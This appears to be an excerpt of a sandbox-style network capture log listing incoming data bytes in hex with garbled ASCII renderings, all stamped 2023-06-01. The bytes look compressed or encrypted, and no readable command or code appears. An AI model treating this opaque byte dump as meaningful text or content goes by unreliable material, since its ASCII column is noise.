2023-06-01 16:06:38 UTC	48	IN	Data Raw: 38 9d 3c 4b 97 2a c0 51 b1 74 af ff 3a 06 5f 9a 70 a1 b0 19 d1 e2 ef f7 05 5c c4 00 70 6a 62 81 31 5e 9e 7b 47 27 cd 07 e1 0f 66 30 f4 6f 58 aa 2f c3 cd a4 46 8e b7 cc d0 53 73 a7 06 3c 4c 78 fe 8f 26 ab 8f 8b 2c 46 4e a6 56 dc 47 cc 07 45 95 39 32 7a 81 45 a2 47 da ca 32 8a fb e4 df 47 7d fa 82 61 18 1d 1c 79 18 b7 6f 47 25 12 82 c6 71 4c b9 47 69 13 94 36 97 d2 06 b5 e7 55 da 72 94 b6 5c 76 8a 73 7e 10 38 ae 12 b9 c9 14 f0 db 2b bd 4a b3 a0 34 bb 94 e6 5c f6 d7 e4 b4 7a 14 7a 7a ba 56 e5 e5 57 46 27 5e 9f 62 b0 a4 5e 15 23 48 de 21 60 22 d1 39 12 ba 8e ef 41 de 09 31 be 7f 88 3a 18 4e a9 cf ed 13 a0 6a f7 ee c7 df 2c dc a4 d4 37 b1 80 14 7f 99 62 12 fb f1 77 50 a9 90 c0 32 d0 cc f6 e0 c4 a9 3c 4b b4 ae 35 2d ca a6 16 4a de 9d f9 20 b4 7a a4 19 d6 f7 3f Data Ascii: 8<K*Qt:_p\pjb1^{G'f0oX/FSs<Lx&,FNVGE92zEG2G}ayoG%qLGi6Ur\vs~8+J4\zzzVWF'^b^#H!`"9A1:Nj,7bwP2<K5-J z?
2023-06-01 16:06:38 UTC	64	IN	Data Raw: 9b 79 d0 21 46 d2 7f f6 86 e0 41 5d 8d e8 22 00 a9 9c 35 d2 19 ab f3 67 e1 91 66 9e c2 da f7 88 7b 06 f6 09 c3 b7 65 4d ca 35 64 2b d1 f2 6a 59 18 c9 d4 e3 19 62 69 f5 ef f7 66 f9 3e 4c d0 a6 f0 6a 7b 0f f4 82 e8 ae f2 1c cf fe df 78 0e ff b6 05 d3 ce 75 5d c6 5c e1 38 75 61 07 65 93 e4 cd 68 e0 25 0e f2 d8 ba 36 b7 87 24 32 bb 10 54 f8 f2 d7 f1 03 91 2b 71 38 7d dd a4 6f 44 dc 44 79 4a bc 70 98 2c 82 cb 4e 89 c8 85 bb 9b 48 7d 8e dc 67 d1 ff bc 85 66 fb 66 ba 85 66 4c 1e 8a 6d 4a 31 92 5c d5 eb b9 9f 8c ff a0 d9 d4 13 7d 7e 8a 67 e5 d3 29 b3 3b b4 ed db f7 95 21 8c 43 d9 88 06 b4 54 d5 07 d2 17 45 f4 9f d9 0a 42 42 51 e5 26 97 54 6c d2 1f d8 79 ab c4 18 a3 cc e0 d7 71 24 7e 38 d7 bc 21 6c 5e 5c 71 de e6 a4 e5 ad 0a 5f 2c f0 e6 af 91 77 94 fb 4a 03 14 1b Data Ascii: y!FA]"5gf{eM5d+jYbif>Lj{xu]\8uaeh%6$2T+q8}oDDyJp,NH}gfffLmJ1\}~g);!CTEBBQ&Tlyq$~8!l^\q_,wJ
2023-06-01 16:06:38 UTC	80	IN	Data Raw: 92 20 d8 3d 4c e5 37 58 ef 5e 62 b9 1b 86 35 0b 60 dc ac 2c 10 72 46 eb 86 d8 80 64 5b 60 a9 e4 65 2d a8 1d 78 81 e9 a2 64 fd 03 cc ec 4c 21 5c 43 0b c5 83 16 0a 1a ab fb c8 ec 8b a3 d5 b9 7b 2b 62 ae 73 a1 80 21 09 90 9e b5 39 2b b0 a1 21 5a 3c db e8 61 64 72 ae 6b 26 1e c6 26 e7 07 23 a4 e0 a2 e0 bc c9 ac 32 88 cf 97 93 2e 39 cf 37 e9 03 9a 06 4f 85 d7 ad 79 e6 4e eb c7 f5 7b ca cc 8f 78 32 99 d1 f7 2a b5 1e 77 14 53 7b fc 3d d3 b3 ce 95 86 f1 6a 67 ee d5 e0 d3 68 bb 4e 35 50 4a 3b ab 97 c1 9d c4 8e c0 00 a5 8b 64 c1 69 71 51 37 89 84 80 fe a3 f0 90 c7 d7 4c 1e a4 b5 02 cd bf ba 74 b4 b1 b3 c1 a7 5f 3a 4b b5 37 07 f0 d0 e9 4d 57 5e 81 cd 30 25 11 94 65 64 0b 8e bb 0f fd e1 32 15 80 c0 c9 de fc 2c 16 3c 80 1e d7 3f f2 6c f0 e1 fd a1 cf 6d c1 7a 20 0a b4 Data Ascii: =L7X^b5`,rFd[`e-xdL!\C{+bs!9+!Z<adrk&&#2.97OyN{x2*wS{=jghN5PJ;diqQ7Lt_:K7MW^0%ed2,<?lmz
2023-06-01 16:06:38 UTC	96	IN	Data Raw: cc bf a8 0e 93 03 38 df 78 e6 9d b2 6f 2b 85 d2 26 30 0d 7d bb cc 4c 94 b6 a4 49 d2 3d c0 0f e8 6c 6c d0 dc 16 87 cc 5e db 6d b9 8e be 28 87 98 fe bf eb 20 03 21 2c bf 06 3e 92 f1 67 50 a8 b7 c1 28 3f aa 92 cd f7 fc 0a da 46 25 95 7f bd 97 3a 86 98 03 bf 01 bc 73 1a 67 92 f5 a7 e0 0e 13 e6 7d b4 ac 4d ac ac d2 93 70 9f 2a 26 26 fc a7 ef bb 03 0b cc a4 4f f8 9d 3f b2 f8 e5 5c 4d 3f a6 37 fd 96 2e bb d5 47 68 c2 9a 3f d0 3c 7d 70 9f c4 b1 4b 4c cc a3 3f 95 cf 61 5c 5d 69 1a 16 0b f3 54 a6 0e 1f 4b bc 07 fc 71 a4 d0 ed da e9 63 e6 55 f5 ad 85 c0 56 a3 f2 f3 0b cc 1c ba 01 5d c7 12 01 8c 66 86 50 4e ae 48 91 34 55 79 2c 71 95 f9 e7 81 ff 86 b4 7f 69 ab b6 55 2b 1b 30 87 30 04 ad a1 19 ce ce 63 30 b4 ef b9 43 48 e0 45 62 bb 6d 0d 78 78 8b af aa c1 e8 76 f1 bf Data Ascii: 8xo+&0}LI=ll^m( !,>gP(?F%:sg}Mp*&&O?\M?7.Gh?<}pKL?a\]iTKqcUV]fPNH4Uy,qiU+00c0CHEbmxxv
2023-06-01 16:06:38 UTC	112	IN	Data Raw: 3d 7c f8 df d5 dc 0e 6a ae 86 4f a8 7d a7 f0 dc 78 3a 6d 65 2c 09 54 82 d1 58 9b e1 9c 83 5b f1 af 8a fd 55 f8 ae 62 bb 9f 8a cd b9 4c ea 2c c6 79 2a 75 2a 3b 20 e6 cd 2b e8 34 33 c3 59 a7 4e e3 08 e6 8e 25 1d fa da d7 09 b6 38 eb 15 ea 9c a5 1f e3 5a 20 94 eb 04 4c 00 f7 5f 4e 38 76 a5 ea cc 72 14 0f 41 7b 35 85 e3 0f b9 2c e6 a9 94 81 c8 24 94 b6 68 74 f8 b8 0e bb 2a da d8 d6 27 4b 0f 44 f4 70 e0 15 04 ef df 3d b6 c8 fd af 58 e2 15 f3 bb c8 6c 4c 29 a1 73 f4 fe 7a e3 1c 98 b6 d0 8b 93 9a 26 e1 1e 3e a0 b5 b0 d6 12 e7 45 c2 0d 35 80 9e 97 cc f2 ab 57 7a c3 ee 75 59 06 73 d3 37 28 dc 4a 9c c9 41 01 6a cf 21 00 8e aa b0 15 b7 63 ca 0a 58 0c bd 42 bc a4 77 15 e2 ec a2 73 15 e2 fb 68 68 8a 3b f6 12 29 03 8a 73 d0 49 e7 72 75 ef fd 55 c1 53 5a 02 81 b1 02 31 Data Ascii: =\|jO}x:me,TX[UbL,yu; +43YN%8Z L_N8vrA{5,$ht*'KDp=XlL)sz&>E5WzuYs7(JAj!cXBwshh;)sIruUSZ1
2023-06-01 16:06:38 UTC	128	IN	Data Raw: 6f d2 1f b1 3f ad 63 6d 1f 2a ff 59 43 f0 52 ca a6 94 94 3e 98 d3 43 8e ae 86 e0 57 e9 9b 52 53 ba e0 aa 3d 54 de 4a 89 a9 29 47 f1 72 9f 8c ff 47 d8 5f 9d ae 7d 58 1d 20 1b e0 68 b6 a1 45 36 e3 16 3f 42 2a de 90 84 a1 10 7c 4b 1a 44 bb 4f 7a 09 63 ed ed ed 6c d8 b7 48 d7 60 3d 38 f3 8c f8 87 e0 47 69 e2 a1 82 f6 fd 58 68 50 2a 6a b0 1e 03 79 3a 6a de 94 23 da 86 0e 7e 6c 28 4d fe 0a 0a b3 da 8c 81 df ac 16 3b 14 7f de e0 51 b9 a0 62 48 5f 59 0b e5 1f 24 25 ca ee 5b ad 24 c6 b2 c5 ea 57 23 be 1f 5a ce 41 b8 9b 9f d9 a4 f3 a5 8b cb 17 37 88 86 f2 d5 ed e2 f2 5a f3 de 15 e5 57 5d 21 5f f9 55 77 75 68 33 0c b6 81 5d 34 34 a0 da 37 30 7d cd fa cc da a6 99 f0 16 50 c3 92 1c 65 9a 0c fe 3f 43 d2 96 d4 35 f5 c5 6d ab db cd 7b e1 c7 ea d8 7e eb 9f 3f 34 71 7f 6d Data Ascii: o?cmYCR>CWRS=TJ)GrG_}X hE6?B\|KDOzclH`=8GiXhP*jy:j#~l(M;QbH_Y$%[$W#ZA7ZW]!_Uwuh3]4470}Pe?C5m{~?4qm
2023-06-01 16:06:38 UTC	144	IN	Data Raw: e5 ed 6a 18 87 6f 9e 30 25 6f 6f 12 33 fa 0f 70 7d c3 4c 84 05 de 6d 8f be 8e 0b 3c 3c 28 85 87 bb 04 85 16 38 2d 87 00 ba 06 bc a0 25 49 c2 88 92 fd 67 a2 4a aa 40 bf 00 a7 eb 42 e6 b2 94 66 7a b1 16 07 62 54 52 60 a6 c7 f4 25 aa 1b ec 83 95 36 79 19 da dc 9a 05 de 17 f5 0c c2 ea 6f c4 52 d7 60 81 7f 88 66 3a 5b fa 3f 61 4b bf 91 2f fd d8 2a 75 c9 e6 fd d7 64 5c 9e 30 92 5d 5d 46 a5 31 08 b8 3f a2 c2 33 74 a2 1f bc 2b 4d 20 76 6b ba 2b 7c a7 55 7f 3c 34 7f 48 18 a3 9f 18 f0 32 95 34 19 aa b4 0d aa 27 41 1f 56 96 66 e6 67 9d 3b 23 7c 3d 4b f6 3c ab d8 ef e2 19 6c 1b 68 d9 e6 a7 e5 8f 5c 23 9a e5 37 af 41 7f 40 be d1 1f 80 6d 2b 8d 9b d3 ac 4f e3 7a bc 17 bb 43 17 2b 67 1e cf 9c 6f 84 64 55 9e c7 33 cf 57 18 e8 06 79 8d 0d 35 f2 8e 01 b0 8c 2b d3 58 c6 4e Data Ascii: jo0%oo3p}Lm<<(8-%IgJ@BfzbTR`%6yoR`f:[?aK/*ud\0]]F1?3t+M vk+\|U<4H24'AVfg;#\|=K<lh\#7A@m+OzC+godU3Wy5+XN
2023-06-01 16:06:38 UTC	160	IN	Data Raw: fc 16 75 9d c0 71 2f f1 37 e5 da f6 ac 44 5d 27 8f 42 fd 83 e5 da fc f3 d4 75 f2 18 ca bf 00 fe d9 50 bf b3 7c 0e 76 2e 63 d5 52 0a 10 d3 9b 65 88 2e 28 45 a5 c0 0a b1 40 26 04 32 70 40 92 bf b0 09 80 7e b1 99 1f f3 5e 28 07 c3 1e 2b c4 8d dc 3c 00 3a c2 01 49 8e 43 19 00 ed e7 18 61 29 2a 17 fe 1a 0b 14 42 a0 71 0e 48 5a a9 6c 06 a0 6f f0 a2 8d cb a2 8d 2b 80 26 10 a8 89 03 92 5c 89 72 3c bf 5d 26 03 79 a1 14 d5 14 56 88 33 00 08 b4 4b 06 22 5f 93 3e aa a3 ae 85 78 92 03 c2 52 4c b4 5d 0a a0 11 04 b2 71 8c b2 99 68 15 18 af c1 01 75 d9 64 d1 6c 0a a0 01 04 aa e4 80 24 2f 65 0b 00 7d b2 89 13 ad 52 16 ad 52 01 74 1e 81 4a 39 20 69 59 57 09 40 bd 1c 10 96 62 a2 95 2a 80 5e 01 a0 aa 0b 68 24 b7 ca 46 12 37 a6 5a 38 94 ba 0b 6c 40 5d 48 60 24 1e d9 c4 26 53 Data Ascii: uq/7D]'BuP\|v.cRe.(E@&2p@~^(+<:ICa)BqHZlo+&\r<]&yV3K"_>xRL]qhudl$/e}RRtJ9 iYW@b^h$F7Z8l@]H`$&S
2023-06-01 16:06:38 UTC	176	IN	Data Raw: c1 e4 c3 fc 79 a1 ca 4c 6f cd ff 08 5c 03 9c b1 50 dd 2c 72 e6 29 cb e7 6b 1c e2 51 5d bc e2 d1 0b 75 5e 9b 03 61 92 61 ae 5f 18 f4 66 b7 ae c0 c5 c0 6d 49 e6 9c 37 71 80 34 ec bf 4d e2 55 80 7c 92 d4 d1 bf 44 a7 2f db 72 e9 20 22 91 67 7b 45 76 26 59 b2 0a c9 d7 6b 32 3d a7 01 0f 05 4e 4a 12 d6 5f 6a cd b1 c0 f3 81 47 26 09 d7 23 5a fa ce 9d 30 f9 30 7d fd cf 94 71 87 f4 4c 97 82 54 81 74 49 32 73 d9 b4 9c 2d 20 34 e3 8f 0b 58 ba 81 7c b9 40 7d df e6 d0 5f 62 1b b1 dc 7f 40 11 51 e1 de 22 96 2e 50 75 06 eb fd 9f c0 c9 c0 8f 2c 70 be a6 e2 34 03 a2 cf 45 71 0e 8a 5b e6 87 a4 d8 52 ad ca f9 34 13 d2 e5 a1 49 ab d5 ac 44 cd 80 73 bc 6a e6 9d a6 1a b5 be db d0 97 8c be 6b 43 d5 a7 ba 64 ef fb a7 59 c6 a0 e6 f3 a7 9d af 3c 10 37 79 dd 72 83 86 13 ac 47 71 2d Data Ascii: yLo\P,r)kQ]u^aa_fmI7q4MU\|D/r "g{Ev&Yk2=NJ_jG&#Z00}qLTtI2s- 4X\|@}_b@Q".Pu,p4Eq[R4IDsjkCdY<7yrGq-
2023-06-01 16:06:38 UTC	192	IN	Data Raw: ee 38 30 c7 fa f2 3c 74 e6 69 a4 d1 7f a5 5c 99 51 26 23 a9 0f 13 53 39 35 50 a4 4b 79 8c 29 05 31 96 76 a6 58 fd f0 b4 e6 12 4b 97 42 c1 da f5 51 c5 0b b4 2e 99 92 17 90 c7 51 32 fc 5f be 2d a2 da ae d4 cf 16 c7 f4 5c 9d 61 ab 1a 2b 31 2c 31 4e 58 9e 61 55 8d 65 80 6d d1 58 34 8d fe 01 f1 53 4c ce 9a 24 b9 04 c3 92 1a 3b c6 b0 b2 c6 8e f0 b4 19 c2 e2 3c ad c6 c4 07 5b bd 7c c5 05 8c 8b 90 b1 58 59 56 7f 40 65 69 e6 e5 83 dc 9a 88 58 ef 21 08 8d d5 2e 52 df b2 2a 58 be 59 ca e3 6d 86 89 1c 61 7f 63 58 42 63 35 86 95 35 f6 17 60 9d ae 7d 5b 73 63 df 00 d6 16 c0 aa c0 da 03 d8 0a b0 c9 00 56 01 d6 15 c0 5e 01 96 0f 60 cb c0 2e 06 b0 17 81 9d 0d 60 b7 d2 05 76 b5 9c 1a fc 7c cf b6 c4 9b 7b 0e 5f 5a f8 fb 96 04 c5 df ef d0 78 55 af 17 1e d7 6c e3 8e 6b 21 ed Data Ascii: 80<ti\Q&#S95PKy)1vXKBQ.Q2_-\a+1,1NXaUemX4SL$;<[\|XYV@eiX!.R*XYmacXBc55`}[scV^`.`v\|{_ZxUlk!
2023-06-01 16:06:38 UTC	208	IN	Data Raw: 89 af b4 40 5c 83 d8 76 e2 18 e2 84 16 b8 0f 9e da c2 ec 21 02 f2 95 b9 c0 18 d6 52 63 1b 71 1f 63 38 cc 76 76 0b 8c a7 b3 6c 5f 6c 81 f1 54 46 5f 8d ac 35 5c f1 15 dc 92 73 a3 25 34 da b3 6d a1 e5 ab 5b 4b d4 fb 31 b6 2d ac fc 9b a3 c4 97 89 03 5b 62 ec fe 83 38 bc 25 de 69 f9 b0 25 de 69 49 20 26 3a d0 da db cd 60 db 89 bf 10 d7 38 b0 8e 35 e7 1c 68 bd 27 b5 97 ed 3f 1c 58 cf 5a ef d8 3e e3 c0 40 07 96 38 30 c8 7a 76 19 0e bc d1 12 b9 5b dc f8 d3 ca f3 a8 70 ae 81 e1 c8 fd 81 70 8c c1 a7 d8 76 e2 df c3 51 e7 b7 d9 76 e2 c4 70 5c cb 93 d8 9e 19 8e be 5e c8 b6 13 37 84 e3 7d 9e 9d 6c 1f 70 a0 75 1e 92 c1 b6 13 af 12 dd 22 80 3e 11 c8 c5 aa 57 cf 33 ca 77 a1 46 f0 7d c8 08 cc 0b 27 be 14 81 7e eb 4f 7c 23 82 b9 44 a0 df 3e 64 db 89 5f 44 a0 ff e6 b0 bd 90 Data Ascii: @\v!Rcqc8vvl_lTF_5\s%4m[K1-[b8%i%iI &:`85h'?XZ>@80zv[ppvQvp\^7}lpu">W3wF}'~O\|#D>d_D
2023-06-01 16:06:38 UTC	224	IN	Data Raw: ed e2 99 c9 8a 66 53 29 13 73 18 80 7f fa f2 f6 f5 87 77 1e 82 15 19 7d b4 32 7b e8 2c a2 2a 70 4c 3f 6c ec b6 9d d3 d8 41 f0 85 0f b9 39 1a da 68 c1 be c4 6d e0 d5 22 6f 13 e1 ce 9c a9 c0 d9 cd 54 00 fc af 47 a3 6a 26 d3 90 3a 2b 92 59 5f b5 12 7b 6b d7 ba 2a 1c 0d 66 b0 5b 04 94 17 12 de cc 21 40 b7 23 ca 5c eb 13 75 71 55 bc 6e 81 d3 87 3a df 53 51 10 12 b1 84 a9 74 cb a5 18 5f ca db d3 1d df f5 e4 73 df 6a f6 f0 9a 3b 54 8f b2 10 a3 a6 0f 3c 6a 67 f6 6d d7 48 ee 59 36 55 bb 3f fd 34 ea e0 54 d6 a0 10 c2 99 93 5d b9 af c6 c9 ec 5c c7 82 64 44 15 33 6e a9 39 73 f9 fe f6 24 9f ab 57 d4 28 75 cc b9 e8 d0 5b 69 73 55 82 89 3c 3b ad 0a db 14 76 0a 40 8a 90 7b 71 6e aa 9c 07 83 82 ed 50 07 c0 27 bf 18 62 03 c3 09 9b 09 91 87 e5 e8 17 0e 15 93 2a c1 24 70 de Data Ascii: fS)sw}2{,pL?lA9hm"oTGj&:+Y_{kf[!@#\uqUn:SQt_sj;T<jgmHY6U?4T]\dD3n9s$W(u[isU<;v@{qnP'b*$p
2023-06-01 16:06:38 UTC	240	IN	Data Raw: 3d fa d0 f2 f2 49 80 3f e0 a1 65 f7 d0 43 cb 1b 95 da 5d a7 96 b7 58 1e 75 10 76 dc 9d 9b b4 0f 3d e1 ba 9f ee aa 92 ee 6e ba 87 1d 57 dd 98 f0 89 f3 aa 9b cc ef aa 52 3c 92 e5 be 83 94 47 f3 30 8f 41 02 fd 9e 7a bc e1 66 88 79 34 f3 fd 29 fe 0d 5f df 3d fe 01 8f 7d fa 84 e7 66 2f 8f 71 84 73 45 f2 d4 3d c6 19 0e f6 10 e6 87 9d ce dc b0 82 07 8f 67 6e b2 5e 71 00 83 5d 99 b0 75 8f 71 5e 72 43 dd ee 39 30 b9 c9 fa c8 43 8a bb 54 e1 d1 c5 ec dd c4 c7 d2 10 af fb be 2e 4f 3f bd 72 17 ed 23 aa ae 1b b3 bf ef e6 d9 fd ac 57 39 85 53 6c bd d7 5e 19 51 4f c5 53 fc 74 11 0b ee bb b9 aa 1b fb 44 3f 97 3c 83 ff a8 87 ac 6e 3f 8c d3 43 80 78 ee 75 d7 af 7e fe f5 b2 b6 b8 a4 7a fd 63 51 7d c2 23 a9 f6 6d 3d 91 73 00 a5 ff b1 c2 7c 78 51 d3 d7 77 dd ad 3c 7d e3 f2 b2 Data Ascii: =I?eC]Xuv=nWR<G0Azfy4)_=}f/qsE=gn^q]uq^rC90CT.O?r#W9Sl^QOStD?<n?Cxu~zcQ}#m=s\|xQw<}
2023-06-01 16:06:38 UTC	256	IN	Data Raw: 49 63 54 7a 53 40 75 5d 7e 5c 92 86 fa 71 4d c0 87 a8 67 cf a2 57 d3 52 0e 1a b4 40 2c 21 97 27 a2 36 b6 8a a2 e5 f9 e8 8b 5f 0f 96 a4 b7 a8 1f 1c f8 b7 35 54 d1 fd c9 7c 55 73 16 33 e7 72 a5 6f fe fe 22 d9 6c e1 6e 79 f7 1d db 9b 76 ab 6f de ec a2 0d d7 f6 d8 3e 88 b3 6e cc df e4 b8 df d6 63 37 84 cb 94 e2 54 ec 39 af 24 ff 3e 03 5f 5e dc 52 88 5d d6 93 27 20 e8 1e 55 fa 49 ef d7 bf e0 36 fe 6e 40 97 10 5e c7 70 4e 29 84 c2 6c 77 67 82 8d 5f e8 47 71 ab d2 60 22 c2 4d 0d ae 8c ed 74 b6 e3 f8 48 46 da 75 5f a5 5d 94 cf c9 dd 42 d7 cb 7f b5 e1 eb 35 17 98 78 5c 19 f3 b5 9c 0c 7e 45 0b 75 f2 c8 a8 a4 ac 0f 59 2c 57 95 a4 4a 54 50 de 6c f3 b6 49 ea 83 59 4f 1e 9f b3 c6 bf c9 08 96 9a fc a5 3f b7 57 c1 47 e5 57 76 22 99 b2 34 da f3 4f 7f ab 0e 61 2c 53 98 bb Data Ascii: IcTzS@u]~\qMgWR@,!'6_5T\|Us3ro"lnyvo>nc7T9$>_^R]' UI6n@^pN)lwg_Gq`"MtHFu_]B5x\~EuY,WJTPlIYO?WGWv"4Oa,S
2023-06-01 16:06:38 UTC	272	IN	Data Raw: 60 9d 7c 08 88 90 5f f0 e1 6c 37 55 56 6a 36 63 5e 6a f5 2f 73 46 62 99 57 44 d9 56 59 52 5a f9 f9 10 59 5c a0 1b b0 74 50 45 54 1d 85 10 54 1a 9a 82 d9 54 8f 82 c6 dc 46 22 f7 fb d9 d5 f2 19 63 90 b2 a8 1a 17 0b 68 7d 7a cb a8 a2 8f dd 7e 07 ba 8c ee 5d 4f f4 f6 a8 9b db 40 4c 64 44 34 d2 3b a3 21 a1 ee a8 e5 e7 8e 2d 53 21 22 98 e5 5d 96 cf 8a 1f 94 b5 a8 e4 e8 39 c4 a4 bc f1 a3 a8 1b 2c f3 73 90 b8 bc f6 30 97 a0 a6 10 19 dd c3 40 5a e5 33 ad 7a 26 28 a8 4b 3a c3 c1 e2 21 2a fe c7 29 f4 29 ae 32 10 9b a7 ee e7 52 7b 01 ea 26 f6 40 a4 69 48 e8 b0 d8 ee 7f 86 cd da 94 f2 f0 fb 4f a4 49 aa 11 1a 0b 61 01 36 0a 93 5a 51 2e 02 70 27 f4 18 d4 ba af b2 af 1b 51 4d ad 5b 43 87 c5 1b ff 44 f8 f0 d5 94 bd 37 92 bd fe 8f 93 34 ee e1 4c d9 2e e9 1b d3 e9 1f 17 6d Data Ascii: `\|_l7UVj6c^j/sFbWDVYRZY\tPETTTF"ch}z~]O@LdD4;!-S!"]9,s0@Z3z&(K:!*))2R{&@iHOIa6ZQ.p'QM[CD74L.m
2023-06-01 16:06:38 UTC	288	IN	Data Raw: d8 45 05 6b a5 6b 30 af 91 21 5d a1 7f 7c 49 5a 17 00 96 d6 cc a3 6e 73 73 52 65 8e 76 eb cd 66 ee 25 fe cf 67 f3 2f 1a fc 3b 04 fb 81 48 f7 61 84 a6 3f a8 ee cf 9d bd 4b 37 1e ee 50 62 f5 5f c1 af e8 99 8d 7e 77 ab 20 13 31 36 66 7e 44 ab 74 89 cc 16 4f 2a 6f 05 d5 a2 bc c6 63 3c 91 3f 2c 99 8e d0 07 02 97 d5 c3 bb 66 12 d9 af 81 bf b3 30 30 36 b4 ac 84 9f aa 25 ff 7f 3e 33 aa c7 95 31 7e f6 f0 2f ca 30 8a 80 19 4b 37 69 42 98 85 79 4a ea c6 bf ca 87 b1 72 5e 2a d0 45 6e 18 f2 d1 15 a9 4b 43 d8 30 1e 89 a8 cd b9 70 1d b9 cd 0c 4a 6a af a8 e1 69 9c b4 8d c5 b5 9a d5 72 0b 00 22 19 05 27 04 a4 5e 53 21 40 e3 c3 e4 51 45 f4 0a 68 c1 b8 09 c7 c7 8c 67 f8 7f 55 ea 16 07 00 d4 75 80 d5 48 30 28 e5 84 ee f5 9f f3 f7 fa ae 86 47 8b 8d 66 f9 ed f6 85 e9 aa 51 2b Data Ascii: Ekk0!]\|IZnssRevf%g/;Ha?K7Pb_~w 16f~DtOoc<?,f006%>31~/0K7iByJr^EnKC0pJjir"'^S!@QEhgUuH0(GfQ+
2023-06-01 16:06:38 UTC	304	IN	Data Raw: 5d e6 50 4d c0 8d fc 9c cc 23 46 c2 67 47 ad 85 4a a3 cb b0 57 0b f3 39 d3 af 2d ab b4 37 38 ee ea 39 44 79 d0 c5 50 4e 49 5a a4 af 88 f7 82 b1 0e 55 21 21 5d 4b b5 b3 ba 19 dd d0 d0 ec fd e6 90 65 d9 0c 97 b6 8c 37 33 ab 95 0d 90 a8 a0 34 24 93 b3 33 ca ca 7a 5f d5 e1 56 3d c8 ca b4 07 d4 e6 e7 31 41 87 6c 09 08 ea 94 48 e1 3e cd b4 ee 37 70 7b 66 e6 ac 9c 0d 9f e2 64 ec be c9 b5 ac f9 fb c5 da 34 ba f6 5f d0 85 ca 4d 5a 63 01 1f b6 e1 a6 6b 9a c2 fd bb 51 a1 47 42 8e 64 86 ff 00 8f 38 15 69 5f 4d 87 7e 08 6d 32 e5 8f a9 62 f0 fc ed 62 f2 75 38 24 f5 05 06 fb f5 80 86 5c 3b 0a 7e 40 eb 1f 71 48 5d cc 9d 1c 0d ef 67 cd 8f c6 3e f8 c0 31 dc 0b 33 b9 74 70 cf 68 59 d0 71 7d 61 d8 a2 cf 39 27 85 dd c5 38 8c e3 a8 35 c5 bc ad e7 ca a7 a3 38 da 4b 06 bf 66 12 Data Ascii: ]PM#FgGJW9-789DyPNIZU!!]Ke734$3z_V=1AlH>7p{fd4_MZckQGBd8i_M~m2bbu8$\;~@qH]g>13tphYq}a9'858Kf
2023-06-01 16:06:38 UTC	320	IN	Data Raw: d3 9e 0e fb f4 ca 22 26 64 36 c7 c3 a7 15 5c 4a 4f f4 7c 98 06 1f 12 1b 13 38 ea ab a3 d2 99 8b a9 73 82 36 26 e1 80 84 f2 cc 3d ca 15 25 6c e8 d8 37 64 60 8e 90 61 e5 a4 51 18 40 7c 47 d5 38 30 16 3b 2f a9 46 2f 1b 39 f5 7b 84 72 de 5a 47 32 1e 5f 4a 48 63 04 89 14 28 52 23 e3 23 7c 0c 73 56 5d 3e be d9 9b 8e 87 fb 5f 49 42 56 c4 c1 bb 4b b3 42 e8 bc 46 df bf 8a f4 bc 63 45 b4 c0 b3 97 dd d7 ce 48 27 aa b1 90 d9 cd 0a e5 8b ac 9a 36 22 22 1a 09 1d 3a c8 3d 0c 74 eb bf c8 b1 bc 58 21 25 52 eb 91 a2 90 3c 47 3d 2a 05 70 ba a8 04 d0 d1 c9 c4 af 99 d3 ed 1c 0b b6 3a 42 c8 0a c5 a9 64 31 7c 09 04 fc 2f 57 51 bb f2 ce f5 0f 11 e0 e4 d4 f0 e0 e8 df 5d 1a 97 8e 92 db b5 b1 94 0f f0 70 f1 70 1c 19 2c c8 79 71 57 12 18 ea 96 df cb 61 c0 a8 b4 c3 e5 14 92 9b 20 49 Data Ascii: "&d6\JO\|8s6&=%l7d`aQ@\|G80;/F/9{rZG2_JHc(R##\|sV]>_IBVKBFcEH'6"":=tX!%R<G=*p:Bd1\|/WQ]pp,yqWa I
2023-06-01 16:06:38 UTC	336	IN	Data Raw: e7 93 c1 15 ee c3 a4 59 8e 17 97 82 a3 b9 89 f3 08 02 d3 0f 2a aa 4b c6 dd eb 53 cc 5b be 5a 67 d5 20 c7 0e 3d 1f 59 ec 39 34 2e d4 f3 30 30 1b 36 08 6f d8 08 69 71 53 9e cf 5b 15 92 68 ac 25 ff 19 20 fb 89 09 9e 54 88 e6 30 26 59 df f0 f6 5a 47 d2 b1 b2 d9 04 1a 0a 69 1b 19 ad 29 59 6f d2 2b 4c f7 e4 e9 3e a5 17 f6 4b e8 38 bc 28 72 ca d9 5b f5 62 68 45 f5 ef 84 bb a6 94 e7 62 74 87 8f df 71 25 5a f0 d8 ba 4e 58 c7 b5 35 5f 8b 8f d3 39 d7 1e 69 c3 e1 bd 0a 35 d4 62 a4 bc d3 d8 92 e2 2b 9d 2a 8a f8 5b 35 a4 73 e1 af b4 02 4b ad 15 26 9b af 63 cb 2d 85 41 d3 82 4c a2 9c 9b 78 f6 b9 d6 f4 d1 ef 4e e7 c7 c7 ef 31 42 be 6b b6 b9 08 b1 b7 7d 89 16 1b fb 72 05 53 c2 3f 90 96 95 45 ef 13 fc 7b 76 3a e8 2e fb e3 12 a1 e3 64 a8 72 76 d1 12 5c 5f 7c 28 0c b2 74 cb Data Ascii: YKS[Zg =Y94.006oiqS[h% T0&YZGi)Yo+L>K8(r[bhEbtq%ZNX5_9i5b+[5sK&c-ALxN1Bk}rS?E{v:.drv\_\|(t
2023-06-01 16:06:38 UTC	352	IN	Data Raw: 2c e2 76 70 27 00 25 4b 82 2c ad 4e 99 67 6f 7c 20 d0 f7 37 f8 7d bc 25 21 02 cc 71 1b 61 90 b0 05 9c 99 86 c8 49 14 06 b4 ec 4a 0c 22 b2 03 67 be 42 7a 40 7a 4b aa 22 d5 83 94 fc 83 74 0c 88 8f 07 64 b6 6b e4 18 72 36 b9 9c 3c 43 de a6 9c 01 51 53 2d 83 bf 2e 41 b0 20 37 b8 82 bc 9c 0c 19 82 70 01 ad f8 02 dd 83 32 c2 c4 61 28 d8 75 a0 0e 3c 70 49 b8 12 fc 18 ec 3d 06 a1 0b 78 c6 11 f1 14 64 de cf 88 2f 88 1a 4a d2 12 42 8a 23 2d 90 2e 20 d1 d6 51 d2 16 01 65 82 7a 0c 36 3e 05 35 81 e2 40 5b a2 f3 d1 52 18 14 26 0f 33 85 e1 c6 f2 61 a5 80 7f 11 b1 0a 58 7b 6c 00 f0 ad 55 a0 80 bc 38 01 9c 10 4e 14 27 89 bb 84 53 c5 e9 80 1a 9c c6 eb 81 4c 10 88 cf c4 37 e0 07 f0 d3 f8 5d 90 aa a4 01 c7 b9 01 3f 4b 26 d4 80 34 f5 1b 24 84 93 44 65 90 0c c2 88 c9 c4 41 e2 Data Ascii: ,vp'%K,Ngo\| 